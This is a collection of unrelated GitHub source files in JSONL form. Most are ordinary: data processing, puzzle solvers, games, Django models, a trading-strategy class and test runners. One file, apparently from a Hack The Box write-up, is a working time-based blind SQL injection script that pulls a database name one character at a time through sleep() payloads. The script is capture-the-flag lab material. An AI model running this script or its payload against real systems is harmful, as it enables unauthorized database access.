'Intent', 'Seller_id', 'Country', 'lat', 'lon']]\r\n\r\nnew_df = columns.copy()\r\n# Saves to file\r\nnew_df.to_csv(\"results.csv\")\r\n","repo_name":"JooelRinne/wildlifetrade","sub_path":"Data_processing/locations.py","file_name":"locations.py","file_ext":"py","file_size_in_byte":6191,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"35735003220","text":"import esprima\nfrom esprima.nodes import (\n Identifier,\n Literal,\n ComputedMemberExpression,\n ExpressionStatement,\n)\nimport escodegen\nfrom typing import Any, Callable, Dict, List, NewType, Tuple\n\nTransformation = Callable[[Dict[str, Any]], Any]\n\n\nclass VariableRenamer(esprima.NodeVisitor):\n \"\"\"\n Renames variables in the expression to the ones in the variable_mapping.\n\n Example:\n variable_mapping = {c: 'knactor.io/v1/checkouts'}\n expr = 'c.cost'\n output = scope['knactor.io/v1/checkouts']['cost']\n \"\"\"\n\n def __init__(self, alias: Dict[str, str] = {}) -> None:\n self.alias = alias\n self.variables = []\n\n def visit_StaticMemberExpression(self, node):\n if node.object.name in self.alias:\n new_object = ComputedMemberExpression(\n object=Identifier(name=\"scope\"),\n property=Literal(\n value=self.alias[node.object.name],\n raw=f\"'{self.alias[node.object.name]}'\",\n ),\n )\n dict_node = ComputedMemberExpression(\n object=new_object,\n property=Literal(\n value=node.property.name, raw=f\"'{node.property.name}'\"\n ),\n )\n self.variables.append(\n f\"{self.alias[node.object.name]}.{node.property.name}\"\n )\n\n for attr in vars(node):\n setattr(node, attr, getattr(dict_node, attr))\n\n\ndef parse_expr(expr: str, alias: Dict) -> Tuple[Tuple[str, ...], ExpressionStatement]:\n \"\"\"\n Parses the given expression string and returns a tuple containing the variables used in the expression and a transformation function.\n\n Args:\n expr (str): The expression string to parse.\n alias (Dict): A dictionary containing variable name mappings.\n\n Returns:\n Tuple[Tuple[str, ...], Transformation]: A tuple containing the variables used in the expression and a transformation function.\n \"\"\"\n if not expr:\n return (), ExpressionStatement(expression=Literal(value=None, raw=\"null\"))\n\n renamer = VariableRenamer(alias)\n parsed_expression = esprima.parseScript(expr).body[0]\n transformed_expression = renamer.visit(parsed_expression)\n variables = renamer.variables\n return tuple(variables), transformed_expression\n","repo_name":"knactor/cast","sub_path":"driver/runtime/redis/parsing.py","file_name":"parsing.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"38069500891","text":"\n'''\nID: smaylni1\nLANG: PYTHON3\nTASK: dualpal\n'''\n\ndef divine(number, base):\n global num\n if (number // base == 0):\n num = str(number % base)\n return number % base\n else:\n divine(number // base, base)\n num += str(number % base)\n return number % base\n\ndef ispalindrome(num):\n if len(num) <= 1:\n return True\n else:\n return num[0] == num[-1] and ispalindrome(num[1:-1])\n\nf = open('dualpal.in', 'r')\ninp = list(map(int, f.read().split(' ')))\nf.close()\n\nf = open('dualpal.out', 'a')\nr = 0\n\nwhile (r < inp[0]):\n k = 0\n inp[1] += 1\n for i in range(2, 11):\n divine(inp[1], i)\n if ispalindrome(num):\n k += 1\n else:\n continue\n if (k >= 2):\n r += 1\n f.write(str(inp[1]) + '\\n')\n\nf.close()","repo_name":"smaylninja/usaco_dualpal","sub_path":"dualpal.py","file_name":"dualpal.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"19385882616","text":"#!/usr/bin/python3\n\nimport requests, time\nfrom pwn import *\n\nurl = \"http://localhost:1234/index.php\"\n\np1 = log.progress(\"SQLi blind\")\np2 = log.progress(\"Database name\")\n\nsession = requests.Session()\n\ndic_letters = \"abcdefghijklmnopqrstuvwxyz0123456789.+!$#-_<>~}:\\\"\\'{*][%,&/\\)(=ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\nresult = \"\"\n\n# Recorremos como si la palabra encontrada tuviera 15 caracteres\nfor position in range(1, 16):\n # Probamos con cada letra de nuestro diccionario\n for letter in dic_letters:\n # Obtenemos el tiempo antes de la peticion\n time_now = time.time()\n \n # Validamos X letra en N posicion\n payload = \"?method=select&\"\n payload += \"username=administrator' and if(substr(database(),%d,1)='%s',sleep(3),1) and '1'='1&\" % (position, letter)\n payload += \"table=passwords\"\n\n p1.status(payload)\n r = session.get(url + payload)\n\n # Obtenemos el tiempo despues de la peticion\n time_after = time.time()\n\n # Si la diferencia de tiempos en mayor a 3, sabemos que la letra que probo esta en la base de datos, asi que la guardamos\n if time_after - time_now > 2:\n result += letter\n p2.status(result)\n break\n\np1.success(\"Done\")\np2.success(result)\n","repo_name":"lanzt/lanzt.github.io","sub_path":"assets/scripts/HTB/breadcrumbs/process_SQLi/extract_db_name.py","file_name":"extract_db_name.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"es","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"}
+{"seq_id":"23780718456","text":"def tic_tac_toe(field):\n WINS = ((0, 1, 2), (3, 4, 5), (6, 7, 8), (0, 3, 6),\n (1, 4, 7), (2, 5, 8), (0, 4, 8), (2, 4, 6))\n\n sfield = \"\"\n for i in range(3):\n sfield += \"\".join(field[i])\n win_exist = False\n for win in WINS:\n if sfield[win[0]] == sfield[win[1]] == sfield[win[2]] != '.':\n print('{0} win'.format(sfield[win[0]]))\n win_exist = True\n break\n if not win_exist:\n print('draw')\n\n\ndata = \"\"\"0 - 0\nx x x\n0 0 -\"\"\"\n\nfield = [line.split() for line in data.split('\\n')]\n\ntic_tac_toe(field)\n","repo_name":"AndLvG/Python","sub_path":"Lyceum/2019 2 полугодие/p5.py","file_name":"p5.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"70414821710","text":"class NameChunks:\n def __init__(self, root):\n self.root = root\n\n def __enter__(self):\n return self\n\n def __exit__(self, type, value, traceback):\n pass\n\n def apply(self):\n counts = {}\n for chunk in self.root.chunks:\n if chunk.type in counts:\n counts[chunk.type] += 1\n else:\n counts[chunk.type] = 1\n if \"name\" not in chunk.options:\n chunk.options[\"name\"] = (\n self.root.options[\"name\"]\n + \"-\"\n + chunk.type\n + str(counts[chunk.type])\n )\n if chunk.type == \"group\":\n with NameChunks(chunk) as p:\n p.apply()\n","repo_name":"yitzchak/metys","sub_path":"metys/Processors/NameChunks.py","file_name":"NameChunks.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"29512123918","text":"from exobuilder.contracts.futureschain import FuturesChain\nfrom exobuilder.contracts.futurecontract import FutureContract\nfrom exobuilder.tests.assetindexdict import AssetIndexDicts\nfrom datetime import datetime, date, timedelta, time as dttime\nfrom exobuilder.contracts.instrument import Instrument\nfrom exobuilder.data.datasource_mongo import DataSourceMongo\nfrom exobuilder.data.datasource_sql import DataSourceSQL\nfrom exobuilder.data.assetindex_mongo import AssetIndexMongo\nfrom exobuilder.data.exostorage import EXOStorage\nfrom exobuilder.exo.exoenginebase import ExoEngineBase\nfrom exobuilder.exo.transaction import Transaction\nimport time\nfrom exobuilder.algorithms.rollover_helper import RolloverHelper\n\nclass EXOBrokenwingCollar(ExoEngineBase):\n def __init__(self, symbol, direction, date, datasource, log_file_path=''):\n self._direction = direction\n self._symbol = symbol\n\n if self._direction != 1 and self._direction != -1:\n raise ValueError('self._direction != 1 and self._direction != -1')\n\n super().__init__(symbol, direction, date, datasource, log_file_path=log_file_path)\n\n @staticmethod\n def direction_type():\n return 0\n\n @staticmethod\n def names_list(symbol):\n return [symbol + '_BullishCollarBW', symbol + '_BearishCollarBW']\n\n @property\n def exo_name(self):\n if self._direction == 1:\n return self._symbol + '_BullishCollarBW'\n elif self._direction == -1:\n return self._symbol + '_BearishCollarBW'\n\n def is_rollover(self):\n if len(self.position) != 0:\n for p in self.position.legs.values():\n rh = RolloverHelper(p.instrument)\n if rh.is_rollover(p):\n return True\n return False\n\n def process_rollover(self):\n trans_list = self.position.close_all_translist()\n return trans_list\n\n\n def process_day(self):\n \"\"\"\n Main EXO's position management method\n :return: list of Transactions to process\n \"\"\"\n\n\n if len(self.position) == 0:\n instr = self.datasource.get(self._symbol, self.date)\n rh = RolloverHelper(instr)\n fut, opt_chain = rh.get_active_chains()\n if fut is None or opt_chain is None:\n if self.debug_mode:\n self.logger.write(\n 'Futures contract or option chain not found.\\n\\tFuture: {0}\\tOption chain: {1}\\n'.format(\n fut,\n opt_chain\n ))\n return []\n\n if self._direction == 1:\n # the bullish broken wings are long the -5 put , long the future, short the + 5 call and long the +9 call\n put_dn5 = opt_chain[-5].P\n call_up5 = opt_chain[5].C\n call_up9 = opt_chain[9].C\n\n\n return [\n Transaction(put_dn5, self.date, 1.0, put_dn5.price, leg_name='opt_otm_leg'),\n Transaction(fut, self.date, 1.0, fut.price, leg_name='fut_leg'),\n Transaction(call_up5, self.date, -1.0, call_up5.price, leg_name='call_up5_short_leg'),\n Transaction(call_up9, self.date, 1.0, call_up9.price, leg_name='call_up9_long_leg'),\n ]\n if self._direction == -1:\n # the bearish BW long the -9 put, short the -5 put , short the future, long the + 5 call\n call_up5 = opt_chain[5].C\n put_dn9 = opt_chain[-9].P\n put_dn5 = opt_chain[-5].P\n\n return [\n Transaction(call_up5, self.date, 1.0, call_up5.price, leg_name='opt_otm_leg'),\n Transaction(fut, self.date, -1.0, fut.price, leg_name='fut_leg'),\n Transaction(put_dn9, self.date, 1.0, put_dn9.price, leg_name='put_dn9_long_leg'),\n Transaction(put_dn5, self.date, -1.0, put_dn5.price, leg_name='put_dn5_short_leg'),\n ]\n","repo_name":"trendmanagement/tmqrexo_alexveden","sub_path":"exobuilder/algorithms/exo_brokenwing.py","file_name":"exo_brokenwing.py","file_ext":"py","file_size_in_byte":4034,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"41750808924","text":"# Method-3: Two Pointer variables\n\ndef twoNumberSum(array, target):\n array.sort()\n left = 0\n right = len(array) - 1\n while(left < right):\n currentSum = array[left] + array[right]\n if(currentSum == target):\n return [array[left], array[right]]\n elif(currentSum < target):\n left += 1\n elif(currentSum > target):\n right -= 1\n\n return []\n\na = [1,2,3,4,5]\ntarget = 5\n\nresult = twoNumberSum(a,target)\n\nif(result):\n print(result)\nelse:\n print(\"There are no elements whose sum is {}\".format(target))\n\n\n# Time Complexity: O(nlogn)\n# Space Complexity: O(1)","repo_name":"OrionJoshi/Competitive_Programming","sub_path":"1.Two Number Of Sum/Method-3.py","file_name":"Method-3.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"82"}
+{"seq_id":"4636494176","text":"use_relative_paths = True\n\ndeps = {\n\n \"build\": \"https://chromium.googlesource.com/chromium/src/build.git@acf607f7d345915ea2ecca208bc516677d298463\",\n\n \"buildtools\": \"https://chromium.googlesource.com/chromium/buildtools.git@5fd66957f08bb752dca714a591c84587c9d70762\",\n\n \"tools/gyp\": \"https://chromium.googlesource.com/external/gyp.git@c61b0b35c8396bfd59efc6cfc11401d912b0f510\",\n\n}\n\nhooks = [{\n 'action': [\n 'download_from_google_storage',\n '--no_resume',\n '--platform=win32',\n '--no_auth',\n '--bucket',\n 'chromium-gn',\n '-s',\n 'minimal-gn-project/buildtools/win/gn.exe.sha1'\n ],\n 'pattern': '.',\n 'name': 'gn_win'\n}, {\n 'action': [\n 'download_from_google_storage',\n '--no_resume',\n '--platform=darwin',\n '--no_auth',\n '--bucket',\n 'chromium-gn',\n '-s',\n 'minimal-gn-project/buildtools/mac/gn.sha1'\n ],\n 'pattern': '.',\n 'name': 'gn_mac'\n}, {\n 'action': [\n 'download_from_google_storage',\n '--no_resume',\n '--platform=linux*',\n '--no_auth',\n '--bucket',\n 'chromium-gn',\n '-s',\n 'minimal-gn-project/buildtools/linux32/gn.sha1'\n ],\n 'pattern': '.',\n 'name': 'gn_linux32'\n}, {\n 'action': [\n 'download_from_google_storage',\n '--no_resume',\n '--platform=linux*',\n '--no_auth',\n '--bucket',\n 'chromium-gn',\n '-s',\n 'minimal-gn-project/buildtools/linux64/gn.sha1'\n ],\n 'pattern': '.',\n 'name': 'gn_linux64'\n}]\n","repo_name":"skopf/minimal-gn-project","sub_path":"DEPS","file_name":"DEPS","file_ext":"","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"}
+{"seq_id":"35393935513","text":"\"\"\"\nvirtstrapcore.main\n==================\n\nThe main controller for virtstrap after the \nbootstrapping process has completed. \n\nVirtStrap Core ensures that the core sections\nof virtstrap are handled before any extension sections. \nFor now this seems to be the best way to handle it\n\"\"\"\nimport logging\nvs_logger = logging.getLogger(\"virtstrap\")\n\nclass CoreUninitialized(Exception):\n pass\n\nclass VirtStrapCore(object):\n def __init__(self, options=None, args=None, settings=None):\n self._settings = settings\n self._options = options\n self._args = args\n self._initialized = False\n self._core_sections = []\n\n def initialize(self, options, args, settings):\n vs_logger.debug(\"Initializing Core\")\n # Parse the settings\n self._initialized = True\n self._settings = settings\n self._options = options\n self._args = args\n core_sections = self._core_sections\n for section in core_sections:\n section_settings = section.settings\n if not section_settings:\n continue\n settings.parse_section(section_settings)\n\n def execute_command(self):\n \"\"\"Executes command from command line\"\"\"\n if not self._initialized:\n raise CoreUninitialized()\n args = self._args\n arg_length = len(args)\n command = \"default\"\n if arg_length > 0:\n command = args[0]\n core_sections = self._core_sections\n settings = self._settings\n for section in core_sections:\n section_command = getattr(section, command, None)\n if section_command:\n vs_logger.debug(\"Section {0} running command {1}\".format(\n section.name, command))\n section_command(settings)\n \n def register_core_sections(self, *core_sections):\n self._core_sections.extend(core_sections)\n\n\n","repo_name":"ravenac95/virtstrap-resources","sub_path":"packages/virtstrapcore/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"943511705","text":"import time\nfrom turtle import Screen\nfrom snake import Snake\nfrom food import Food\nfrom scoreboard import Scoreboard\n\n# Screen setup\nscreen = Screen()\nscreen.setup(width=600, height=600)\nscreen.bgcolor(\"black\")\nscreen.title(\"Snake Game\")\nscreen.tracer(0)\n\n# create game objects\nsnake = Snake()\nfood = Food()\nscoreboard = Scoreboard()\n\n# listen for inputs\nscreen.listen()\nscreen.onkey(fun=snake.up, key=\"Up\")\nscreen.onkey(fun=snake.down, key=\"Down\")\nscreen.onkey(fun=snake.left, key=\"Left\")\nscreen.onkey(fun=snake.right, key=\"Right\")\n\n# Game Loop\ngame_is_on = True\nwhile game_is_on:\n # draw screen\n screen.update()\n time.sleep(0.2)\n\n snake.move()\n\n # Detect collision with food\n if snake.head.distance(food) < 15:\n food.refresh()\n snake.extend()\n scoreboard.increase_score()\n scoreboard.update_display()\n\n # Detect collision with wall\n if snake.head.xcor() > 280 or snake.head.xcor() < -280 or snake.head.ycor() > 280 \\\n or snake.head.ycor() < -280:\n scoreboard.reset_scoreboard()\n snake.reset_snake()\n\n # Detect collision with tail\n for segment in snake.segments[1:]:\n if snake.head.distance(segment) < 10:\n scoreboard.reset_scoreboard()\n snake.reset_snake()\n\nscreen.exitonclick()\n","repo_name":"EderLukas/python_portfolio","sub_path":"snake/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"39280008878","text":"#!/usr/bin/env python3\nimport sys\nimport argparse\nimport doctest\nimport slyther.types\nimport slyther.parser\nimport slyther.interpreter\nimport slyther.builtins\nimport slyther.evaluator\n\n\ndef module_globals(obj):\n if isinstance(obj, type(sys)):\n pass\n elif hasattr(obj, '__module__'):\n obj = sys.modules[obj.__module__]\n else:\n raise TypeError('Input is not a module or an element with __module__')\n return {\n k: getattr(obj, k)\n for k in dir(obj)\n }\n\n\nd1 = [\n slyther.types.ConsCell,\n slyther.types.ConsCell.__eq__,\n slyther.types.ConsCell.__repr__,\n slyther.types.ConsList,\n slyther.types.ConsList.__init__,\n slyther.types.ConsList.from_iterable,\n slyther.types.ConsList.__getitem__,\n slyther.types.ConsList.cells,\n slyther.types.ConsList.__len__,\n slyther.types.ConsList.__contains__,\n slyther.types.ConsList.__reversed__,\n slyther.types.ConsList.__eq__,\n slyther.types.ConsList.__repr__,\n slyther.types.SExpression,\n slyther.types.cons,\n slyther.types.LexicalVarStorage,\n slyther.types.LexicalVarStorage.fork,\n slyther.types.LexicalVarStorage.put,\n slyther.types.LexicalVarStorage.__getitem__,\n]\n\nd2 = [\n slyther.parser.tokenize,\n slyther.parser.parse,\n slyther.parser.parse_strlit,\n slyther.parser,\n]\n\nd3 = [\n slyther.evaluator,\n slyther.evaluator.lisp_eval,\n slyther.types.UserFunction,\n slyther.types.UserFunction.__init__,\n slyther.types.UserFunction.__call__,\n slyther.types.UserFunction.__repr__,\n slyther.interpreter,\n slyther.interpreter.Interpreter,\n slyther.builtins,\n slyther.builtins.add,\n slyther.builtins.sub,\n slyther.builtins.mul,\n slyther.builtins.div,\n slyther.builtins.floordiv,\n slyther.builtins._list,\n slyther.builtins.car,\n slyther.builtins.cdr,\n slyther.builtins.define,\n slyther.builtins.lambda_func,\n slyther.builtins.let,\n slyther.builtins.if_expr,\n slyther.builtins.cond,\n slyther.builtins._and,\n slyther.builtins._or,\n slyther.builtins._set,\n slyther.builtins._eval,\n slyther.builtins._parse,\n]\n\n\ndef tco_test(code):\n \"\"\"\n Test that tail call optimization works.\n\n >>> f = open(\"examples/carmichael.scm\")\n >>> tco_test(f.read()) # doctest: +ELLIPSIS\n 561\n 1105\n 1729\n 2465\n ...\n >>> f.close()\n \"\"\"\n import signal\n\n def handler(signum, frame):\n raise TimeoutError\n\n try:\n signal.signal(signal.SIGALRM, handler)\n signal.alarm(240)\n interp = slyther.interpreter.Interpreter()\n interp.exec(code)\n except TimeoutError:\n return\n signal.alarm(0)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--d1',\n action='store_true',\n help='Run tests for D1'\n )\n parser.add_argument(\n '--d2',\n action='store_true',\n help='Run tests for D2'\n )\n parser.add_argument(\n '--d3',\n action='store_true',\n help='Run tests for D3'\n )\n parser.add_argument(\n '--tco',\n action='store_true',\n help='Run tail-call optimization tests (takes 4 minutes!)'\n )\n parser.add_argument(\n '-v', '--verbose',\n action='store_true',\n help='Print all test results, not just failures'\n )\n args = parser.parse_args()\n\n tests = []\n if args.d1:\n tests += d1\n if args.d2:\n tests += d2\n if args.d3:\n tests += d3\n if args.tco:\n tests += [tco_test]\n\n if not tests:\n parser.error('You must specify at least one of --d{1,2,3} or --tco.')\n\n for t in tests:\n if t is tco_test:\n print(\"Running tail-call optimization test... \"\n \"(takes 4 minutes if it works!)\")\n print(\"Essentially, if after 4-minutes of preforming all sorts\\n\"\n \"of tail calls, your program does not break, call it good.\")\n doctest.run_docstring_examples(\n t,\n globs=module_globals(t),\n verbose=args.verbose,\n name=getattr(t, '__name__', None) or str(t))\n","repo_name":"geraldung/SlytherLisp","sub_path":"run_tests.py","file_name":"run_tests.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"27973309416","text":"import json\nimport collections\nfrom collections import OrderedDict\n\nclass Law(object):\n pid = \"\"\n city = \"\"\n state = \"\"\n implementingSectorName = \"\"\n date = \"\"\n typeName = \"\"\n policyName = \"\"\n url = \"\"\n category = \"\"\n\n # The class \"constructor\" - It's actually an initializer \n def __init__(self, pid, city, state, implementingSectorName, date, typeName, policyName, url, category):\n self.pid = pid\n self.city = city\n self.state = state\n self.implementingSectorName = implementingSectorName\n self.date = date\n self.typeName = typeName\n self.policyName = policyName\n self.url = url\n self.category = category\n\ndef make_law(pid, city, state, implementingSectorName, date, typeName, policyName, url, category):\n law = Law(pid, city, state, implementingSectorName, date, typeName, policyName, url, category)\n return law\n\ncities_list = []\ncode_list = []\nid_list = []\nlaw_list = []\ntype_list = []\nprogramId2 = [\"programId\", \"city\", \"state\", \"implementingSectorName\", \"tempCity\"] \n\ndef ogDumpclean(obj):\n if type(obj) == dict:\n for k, v in obj.items():\n if hasattr(v, '__iter__'):\n print (k.encode(\"utf-8\"))\n ogDumpclean(v)\n else:\n \tprint (('%s : %s' % (k, v)).encode(\"utf-8\"))\n elif type(obj) == list:\n for v in obj:\n if hasattr(v, '__iter__'):\n ogDumpclean(v)\n else:\n print (v.encode(\"utf-8\"))\n else:\n print (obj.encode(\"utf-8\"))\n\n\ndef dumpcleaner(obj):\n\tif type(obj) == dict:\n\t\tmainObj = obj.get(\"data\")\n\t\tfor objs in mainObj:\n\t\t\tprogramId = str(objs.get(\"ProgramId\"))\n\t\t\tcode_list.append(programId)\n\t\t\tstate = str(objs.get(\"State\"))\n\t\t\timplementingSectorName = str(objs.get(\"ImplementingSectorName\"))\n\t\t\tcityName = \"\"\n\t\t\tcities = objs.get(\"Cities\")\n\t\t\tcontacts = objs.get(\"Contacts\")\n\t\t\tif cities:\n\t\t\t\tcityName = str(cities[0].get(\"name\"))\n\t\t\telif contacts:\n\t\t\t\tcounter = 0\n\t\t\t\twhile ((len(contacts) > counter) & ((cityName.strip() == \"\") | (cityName == \"None Specified\"))):\n\t\t\t\t\tcontact = contacts[counter].get(\"contact\")\n\t\t\t\t\tcity = contact.get(\"city\")\n\t\t\t\t\tstateObject = contact.get(\"stateObject\")\n\t\t\t\t\tstateName = stateObject.get(\"name\")\n\t\t\t\t\tif ((state == str(stateName)) & ((cityName.strip() == \"\") | (cityName == \"None Specified\"))):\n\t\t\t\t\t\tif str(city) == \"None\":\n\t\t\t\t\t\t\tcityName = \"None Specified\"\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tcityName = str(city)\n\t\t\t\t\telse:\n\t\t\t\t\t\tcityName = \"None Specified\"\n\t\t\t\t\tcounter += 1\n\t\t\telse:\n\t\t\t\tcityName = \"None Specified\"\n\t\t\tif cityName.strip() == \"\":\n\t\t\t\tcityName = \"None Specified\"\n\t\t\tcategory = objs.get(\"CategoryName\")\n\t\t\tdate = objs.get(\"StartDate\")\n\t\t\tif ((date == \"\") | (str(date) == \"None\")):\n\t\t\t\tdate = objs.get(\"enactedDate\")\n\t\t\tif ((date == \"\") | (str(date) == \"None\")):\n\t\t\t\tdate = objs.get(\"enactedDateDisplay\")\n\t\t\tif ((date == \"\") | (str(date) == \"None\")):\n\t\t\t\tdate = str(objs.get(\"enactedText\"))\n\t\t\tif ((date == \"\") | (str(date) == \"None\")):\n\t\t\t\tdate = str(objs.get(\"LastUpdate\"))\n\t\t\tif str(date) == \"None\":\n\t\t\t\tdate = \"None given\"\n\t\t\ttypeName = str(objs.get(\"TypeName\")).encode(\"utf-8\")\n\t\t\tpolicyName = str(objs.get(\"Name\")).encode(\"utf-8\")\n\t\t\tif not typeName in type_list:\n\t\t\t\tif implementingSectorName == \"Utility\":\n\t\t\t\t\ttype_list.append(typeName)\n\t\t\turl = str(objs.get(\"WebsiteUrl\"))\n\t\t\tif url.strip() == \"\":\n\t\t\t\turl = \"None\"\n\t\t\tif cityName != \"None Specified\":\n\t\t\t\tcities_list.append(cityName)\n\t\t\tlaw_list.append(make_law(programId, cityName, state, implementingSectorName, \n\t\t\t\tdate, typeName, policyName, url, category))\n\nwith open('data_DSIRE.json') as f:\n data = json.load(f)\n\ndumpcleaner(data)\n#law_list.append(make_law(code_list[-1], programId[1], programId[2]))\n#print(\"number of cities\" + str(len(cities_list)))\nprint(\"number of codes\" + str(len(code_list)))\nprint(\"programCode = \" + code_list[-1])\nf = open(\"parsed_DSIRE_data2.txt\", \"w+\")\nfor x in law_list:\n\tf.write(x.category + \"\\n\")\n#\tf.write(str(x.policyName)[2:-1] + \"\\n\")\n#\tprint(x.pid + \" \" + x.city + \" \" + x.state + \" \" + x.implementingSectorName+ \n#\t\t\" \" + x.date + \" \" + str(x.typeName)[2:-1] + \" \" + str(x.policyName)[2:-1]) \nprint(len(type_list))\nprint(len(law_list))\n\nf.close()","repo_name":"pmohamma/Summer-2018-Climate-Policy-Research","sub_path":"src/climate_policy/DSIRE_dataset_parsing.py","file_name":"DSIRE_dataset_parsing.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"7182530927","text":"import os\nimport csv\nimport numpy as np\n\nfolder = \"memoryPerformance/\"\nciphers = [\"SABER=1\", \"KYBER=1\", \"NTRU=1\", \"NTRUP=1\", \"FRODO=1\"]\nmassiffile = [\"saber/saber\", \"kyber/kyber\", \"ntru/ntru\", \"ntrup/ntrup\", \"frodo/frodo\"]\noperation = [\"TOTAL=1\", \"KEYGEN=1\", \"ENC=1\", \"DEC=1\"]\next = \".out\"\nrm = \"rm test\"\nmake = \"make test \"\nvalgrind = \"valgrind --tool=massif --stacks=yes --massif-out-file=\"\nN = 1\n\ndef measureMemory():\n # For each cipher, measure its memory consumption\n for i in range(5):\n for j in range(N):\n # make with the memory option enabled, and desired operation\n for k in range(1):\n # Remove test binary\n os.system(rm)\n cmd = make + \"test \" + ciphers[i] + \" MEMORY=1 DEBUG=1 RPI=1\" + operation[k]\n os.system(cmd)\n\n # Profile memory with valgrind\n cmd = valgrind + folder + massiffile[i] + \"_\" + operation[k].split(\"=\")[0] + \"_\" + str(j) + ext + \" ./test\"\n print(cmd)\n os.system(cmd)\n\ndef readThreeLines(file):\n file.readline()\n file.readline()\n file.readline()\n\ndef getTotalMemory(file):\n heap = int(file.readline().split(\"=\")[1])\n heapExtra = int(file.readline().split(\"=\")[1])\n stack = int(file.readline().split(\"=\")[1])\n return heap + heapExtra + stack\n\ndef getMemoryUsageAll():\n # Read the generated output file, and get the maximum amount of memory used per KEM\n for i in range(4):\n # Get the array of values per operation\n memUsageAll = []\n for k in range(4):\n # Get the maximum value for each iteration\n memUsage = [] # Stores the max values for all files\n for j in range(N):\n fileN = folder + massiffile[i] + \"_\" + operation[k].split(\"=\")[0] + \"1_\" + str(j) + ext\n print(fileN)\n memUsageOp = []\n with open(fileN, \"r\") as file:\n # Read the first three lines:\n readThreeLines(file)\n # Find the max value\n for line in file:\n # Search the following '#' character\n if line[0] == \"#\":\n # Read the following three lines\n readThreeLines(file)\n # Get the total amount of memory\n total = getTotalMemory(file)\n memUsageOp.append(total)\n memUsage.append(memUsageOp.copy())\n print(memUsage)\n memUsageAll.append(memUsage.copy())\n print(memUsageAll)\n return memUsageAll\n\ndef getMemoryUsageMax():\n \"\"\"\n Get the maximum memory used for all files.\n \"\"\"\n # Read the generated output file, and get the maximum amount of memory used\n memUsageAll = []\n for i in range(4):\n memUsage = [] # Stores the max values for each file\n for j in range(N):\n fileN = memory + massiffile[i] + \"_\" + str(j) + ext\n maxM = 0\n with open(fileN, \"r\") as file:\n # Read the first three lines:\n readThreeLines(file)\n # Find the max value\n for line in file:\n # Search the following '#' character\n if line[0] == \"#\":\n # Read the following three lines\n readThreeLines(file)\n # Get the total amount of memory\n total = getTotalMemory(file)\n if (total > maxM):\n maxM = total\n memUsage.append(maxM)\n memUsageAll.append(memUsage.copy())\n return memUsageAll\n\ndef getMemoryUsageKEM():\n \"\"\"\n Get the data of memory usage per KEM, all the operations\n \"\"\"\n # For each kem\n totalValues = []\n for i in range(5):\n fileN = folder + massiffile[i] + \"_TOTAL_0\" + ext\n values = []\n print(fileN)\n with open(fileN, \"r\") as file:\n readThreeLines(file)\n for line in file:\n if line[0] == \"#\":\n readThreeLines(file)\n total = getTotalMemory(file)\n values.append(total)\n totalValues.append(values.copy())\n return totalValues\n\ndef saveData(data, file, delimiter, op=True):\n m = np.array(data, dtype=object)\n mT = m.transpose()\n with open(file, \"w\") as csvfile:\n writer = csv.writer(csvfile, delimiter=delimiter)\n cipherS = [\"LightSaber\", \"Kyber512\", \"NTRUhps2048509\", \"NTRULPr653\", \"Frodo640\"]\n writer.writerow(cipherS)\n if op:\n operationS = [c.split(\"=\")[0] for c in operation]\n writer.writerow(operationS)\n writer.writerows(mT)\n\nif __name__ == '__main__':\n #measureMemory()\n m = getMemoryUsageKEM()\n saveData(m, \"memoryPerformance/memoryPerformance.csv\", \",\", False)\n","repo_name":"Septien/PQSPerformance","sub_path":"measureMemory.py","file_name":"measureMemory.py","file_ext":"py","file_size_in_byte":4966,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"26770925232","text":"from django.db import models\n\n\nclass Company(models.Model):\n CONTINENTS = (('AF', 'Africa'),\n ('NA', 'North America'),\n ('OC', 'Oceania'),\n ('AN', 'Antarctica'),\n ('AS', 'Asia'),\n ('EU', 'Europe'),\n ('SA', 'South America'))\n\n name = models.CharField(max_length=100)\n location = models.CharField(max_length=2, choices=CONTINENTS, default='NA')\n\n def __str__(self):\n return str(self.name) + \", \" + str(self.location)\n\n\nclass Part(models.Model):\n company = models.ForeignKey(Company, on_delete=models.CASCADE, default=0)\n name = models.CharField(max_length=50)\n on_hand = models.IntegerField()\n price = models.FloatField()\n min = models.IntegerField()\n max = models.IntegerField()\n\n\nclass Product(models.Model):\n company = models.ForeignKey(Company, on_delete=models.CASCADE, default=0)\n name = models.CharField(max_length=50)\n parts = models.ManyToManyField(Part)\n on_hand = models.IntegerField()\n price = models.FloatField()\n min = models.IntegerField()\n max = 